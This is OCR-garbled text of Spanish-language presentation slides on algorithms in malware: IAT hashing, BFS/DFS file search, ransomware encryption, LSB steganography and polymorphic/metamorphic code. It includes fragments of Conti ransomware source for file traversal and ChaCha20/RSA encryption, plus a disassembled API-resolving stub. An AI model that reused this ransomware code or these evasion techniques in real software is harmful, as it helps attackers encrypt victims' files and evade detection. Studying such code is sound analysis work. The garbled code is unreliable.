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malware?

e Software con intenciones maliciosas
o Puede estar hecho en cualquier lenguaje de programacién (C, C++, Go,
Rust, Python, etc)

e Diferentes familias/categorias.
o Es comin encontrar malwares con las mismas caracteristicas
o Malware as a service,venta de loaders, crypters, etc

e (Cualquiera puede hacer un malware
o Frameworks, payloads,cdédigo fuente, etc.
o Lenguajes de programacién compilados de facil uso (Go, C#)
o Muchas documentacidén, tutoriales, guias, etc.




algoritmos?

e Instrucciones con un objetivo definido.
o Busquedas, ordenamiento, encriptaciodn, etc

® Enfocados a solucionar algun problema de forma o6ptima.
o Optimizacién en términos de complejidad temporal (O(n), O(log n)) y
espacial (uso de memoria).

® Complejidad depende del lenguaje
o C,C++ gestién de memoria. Limitaciones en hilos (Rust, Go / Python)




IAT hashing
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00000000000200B8 | 00000000000200B8 | 0014 AddVectoredExceptionHandler
00000000000200D6 | 00000000000200D6 | 0236 GetCurrentThread
00000000000200EA | O00DD000D00200EA | 031A GetThreadContext
00000000000200FE | O0ODDO0OD00200FE | 0589 SetThreadContext
0000000000020112 | 0000000000020112 | 0292 GetModuleHandleA
0000000000020126 | 0000000000020126 | 02CD GetProcAddress
0000000000020678 | 0000000000020678 | 064A WriteConsoleW
0000000000020146 | 0000000000020146 | 0470 QueryPerformanceCounter
0000000000020160 | 0000000000020160 | 0233 GetCurrentProcessld




IAT hashing

e Permite ocultar las dependencias (IAT)
e Evasioén de firmas
e Mayor dificultad al realizar reversing

e Ofuscacion de instrucciones




IAT hashing
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https://docs.google.com/file/d/1-C-9DFqFTntVakw1x8-Ozs-V710uiwiG/preview

BES & DES

e Algoritmos de busqueda de archivos
o BFS (Breadth First Search)
o DFS (Depth First Search)

e Usado en ransomwares y malware de
exfiltraciodn
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BES - Conti Ransomware

(DirectoryInfo == NULL) {

std::wstring CurrentDirectory = DirectoryInfo->Directory;
std::wstring SearchMask = MakeSearchMask(CurrentDirectory);

HANDLE hSearchFile = pFindFirstFileW(SearchMask.c_str(), &FindData);
if (hSearchFile == INVALID_HANDLE_VALUE) {

logs: :Write(OBFW(L"FindFirstFile fails in directory %s g rror ."), CurrentDirectory.c_str(), pGetLastError());
TAILQ_REMOVE(&DirectorylList, DirectoryInfo, Entries);
delete DirectoryInfo;

continue;

if (!plstrcmpW(FindData.cFileName, OBFW(L".")) ||
!plstrcmpW(FindData.cFileName, OBFW(L"..")) ||
FindData.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT)

continue

f (FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
CheckDirectory(FindData.cFileName))

std::wstring Directory = MakePath(CurrentDirectory, FindData.cFileName);
PDIRECTORY_INFO DirectoryInfo DIRECTORY_INFO;
DirectoryInfo->Directory = Director

TAILQ_INSERT_TAIL(&DirectorylList, DirectoryInfo, Entries);

= if (CheckFilename(FindData.cFileName)) {

std::wstring Filename = MakePath(CurrentDirectory, FindData.cFileName);
cryptor::FILE_INFO FileInfo;

RtlSecureZeroMemory (&FileInfo, sizeof(FileInfo));

FileInfo.Filename = Filename.c_str();

crypto Encrypt (&FileInfo, Buffer, CryptoProvider, RsaKey);

while (pFindNextFileW(hSearchFile, &FindData));

TAILQ_REMOVE (&DirectoryList, DirectoryInfo, Entries);
delete DirectoryInf
pFindClose(hSearchFile);




Encryption

morphcode(FileInfo);

if (!pCryptGenRandom(Provider, 32, FileInfo->ChachaKey)) {
return FALSE;

i

morphcode (FileInfo—>ChachaKey) ;

e RC4

if (!pCryptGenRandom(Provider, 8, FileInfo->ChachaIV)) {
return FALSE;

L AES 1 2 8 /2 56 morphcode (FileInfo—>ChachalV);

Rt1SecureZeroMemory (&FileInfo->CryptCtx, sizeof(FileInfo->CryptCtx));
ECRYPT_keysetup(&FileInfo—>CryptCtx, FileInfo->ChachaKey, 256, 64);
[ ) RSA ECRYPT_ivsetup(&FileInfo->CryptCtx, FileInfo->ChachalV);

memory: : Copy (FileInfo—->EncryptedKey, FileInfo—>ChachaKey, B
memory: : Copy (FileInfo->EncryptedKey + 32, FileInfo->ChachalV, 8);

[
ECC morphcode (FileInfo—>EncryptedKey) ;
if (!'pCryptEncrypt(PublicKey, @, TRUE, 0, FileInfo->EncryptedKey, &dwDatalen,

[ ] Salsaze / ChaChaz@ return FALSE;

return TRUE;




Encryption / Ransomware
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Encryption / Ransomware
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Encryption / Ransomware
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EGC vs RSA

Basado en la dificultad del
problema del logaritmo discreto
en curvas elipticas.

La seguridad depende de las
operaciones algebraicas en la

curva y del tamafo del campo

Mas eficiente y seguro.

Basado en la dificultad de la
factorizacion de niumeros
grandes

La seguridad depende del
tamafo de n (mddulo), que es el
producto de pyq.




package main

1'mp0rt C
2 crypto”
“crypto/ecdsa”
crypto/e111pt1c
crypto/ran
1 crypto/rs
17 "crypgo/sha256"
) "testing'

func Benchmarkecc(f *testing.8) {
message := [1byte("This is a test message")
hash := sha256.sum256(message)

b. Run("KeyGenerat1 on", func (b *testing.B)
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https://docs.google.com/file/d/1iYazZu4_-T-vx4JbZniGsR-67Od_ZoRs/preview

__PUBLIC_KEY__"

\ [31] -y[31] & Ox3F | ox4e;

cur‘ve25519( e) int, user_public_key); ) i i
curve25519(user_secret_key, master _pub_key, share_key); ECRYPT_ivsetup(&FileInfo—>CryptCtx, FileInfo—>ChachalV);

24 = @; ECRYPT_encrypt_bytes(&FileInfo->CryptCtx, Buffer, Buffer, BytesRead);
23 =93

// sha256 constants Offset.QuadPart = —((LONGLONG)BytesRead);

sha256_he = OXx6A09E667;
} = OxBB67AESS; SetFilePointerEx(FileInfo->FileHandle, Offset, NULL, FILE_CURRENT);
h2 = ©x3C6EF372; WriteFullData(FileInfo->FileHandle, Buffer, BytesToWrite);
13 = OXAS54FF53A; /break;
} = Ox510E527F;
= Ox9BO5688C; CloseHandle(FileInfo—>FileHandle);
= Ox1F83D9AB; FileInfo->FileHandle = NULL;
= OXSBEOCDI9 int len = strlen(FileInfo->Filename);
SHA256 Update( int lengthExtension = strlen(g_Extension);
SHA256_F1na1(V // sha256 of share_key charx EncryptedFilename = (char *)malloc(len + lengthExtension + 1);

Rt1SecureZeroMemory(EncryptedFilename, len + lengthExtension + 1);
memcpy (EncryptedFilename, FileInfo->Filename, len);
strcat(EncryptedFilename, g_Extension);




LSB / Steganography




LSB / Steganography

e Usando para ocultar payloads en
imagenes

161

e Se aplica algun tipo de encoding

O encriptacion.
[1 U 18058070 1]

e Tamano del payload debe ser
menor al tamafio de la imagen. MSB LSB




LSB / Steganography
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On-disk
Loader DLL
In-memory
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https://docs.google.com/file/d/1UcpzyaHuQ-zIaEIc8j7oAkzUS4L2aj_Z/preview

Polymorphic & Metamorphic Algorithms

e Polimérfico:
o Encriptacioén(AES, RC4, etc)
o Un stub estatico que permite desencriptar

e Metamdrfico:
o Cambio de ldégica (saltos /jmp/call)
o Cambio de registros, constantes, etc

e Implementacidn:
En tiempo de ejecucion
Al generar el payload




Polymorphic
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Metamorphic

UUUUUL IME MY S UUDU o SR ED JIT comcrweuuy

20 nop
0000023AEAD20063 20 nop
0000023AEAD20064 48:895C24 10 mov gqword ptr ss:Ersp+10F,rbx
0000023AEAD20069 48:897424 18 mov qword ptr ss:[rsp+18J,rsi
0000023AEAD2006E 48:897C24 20 mov qword ptr ss:[Brsp+20J,rdi
0000023AEAD20073 55 push rbp
O000023AEAD2 48: 8BEC mov rbp,rsp
0000D023AEAD2 48:83EC 40 SUb TSP, 30
0000D023AEAD2 6548: 880425 60000000( mov rax,qword ptr l:[c0] ’\*
0000023AEAD2 45:33C9 e
0000023AEAD2 y C745 FO 47657450 mov dword ptr ss:[frbp-10§,50746547
0000023AEADZ008E C745 F4 726F6341 mov dword ptr ss:frbp-Cl,41636F72
0000023AEAD20095 C745 F8 64647265 mov dword ptr ss:frbp-8J,65726464
0000023AEAD2009C 48:8B48 18 mov rcx,qword ptr ds:[rax+18]
O000023AEAD200A0 66:C745 FC 7373 mov word ptr Ss:ﬁrbp—-t 37373
0000023AEAD200AG C645 FE 00 mov byte ptr ss:fErbp-2§,0
0000023AEAD200AA 48:8B41 20 mov rax,qword ptr ds:[rcx+20]
0000023AEAD 200AE 48:8B08 mov rcx,qword ptr ds:[rax]
0000023AEAD200B1 48:8801 mov rax,qword ptr ds:[rcx]
0000023AEAD200B4 4C:88B58 20 mov rii,qword ptr ds:[rax+20]
0000023AEAD200BS 49:6343 3C movsxd rax,dword ptr ds:[ri1+3C]
0000023AEAD200BC 42:8B8C18 88000000 mov ecx,dword ptr ds:[rax+rii+88]
O000023AEAD200C4 49:03CB add rcx,ril
000D0023AEAD200C7 44:8B51 20 mov riod,dword ptr ds:[rcx+20]
0000023AEAD200CB 8B79 1C mov edi,dword ptr ds:[rcx+1C]
0000023AEAD200CE 4D:03D3 add rio,ri1
0000023AEAD200D1 8B71 24 mov esi,dword ptr ds:[rcx+24]
0000023AEADZ200D4 49:03FB add rdi,ri1
0000023AEAD200D7 8B59 14 mov ebx,dword ptr ds:[rcx+14]
0000023AEADZ200DA 49:03F3 add rsi,ri1
0000023AEAD200DD 85DB test ebx,ebx
0000023AEAD200DF v 74 4A je 23AEAD2012B
0000023AEAD200EL OF1F00 nop dword ptr ds:[rax],eax
0000023AEAD200E4 45:8B02 mov r8d,dword ptr ds:[rio0]
0000023AEAD200E7 48:8D4D FO lea rcx,qword ptr ss:[frbp-10F
0000023AEADZ00EB 4D:03C3 ladd rg,ril
0000023AEAD200EE 41:0FB610 = =t
0000D023AEAD200F2 84D2 test dil,dl
O000023AEAD200F4 v 74 25 je 23AEAD2011B
000D0023AEAD200F6 0OFB6C2 movzx eax,dl
0000023AEAD200F9 48:8D4D FO lea rcx,qword ptr ss:irbp—l&
0000023AEAD200FD 48:8D55 FO lea rdx,qword ptr ss:frbp-10§J
0000023AEAD20101 4C:2BC2 sub rs8,rdx
0000D023AEAD20104 0FB6EDO movzx edx,al
0000023AEAD20107 3A01 cmp al,byte ptr ds:[rcx]
0000023AEAD20109 v 75 10 jne 23AEAD2011B
0O000023AEAD2010B 41:0FB64408 01 movzx eax,byte ptr ds:[r8+rcx+1]
£
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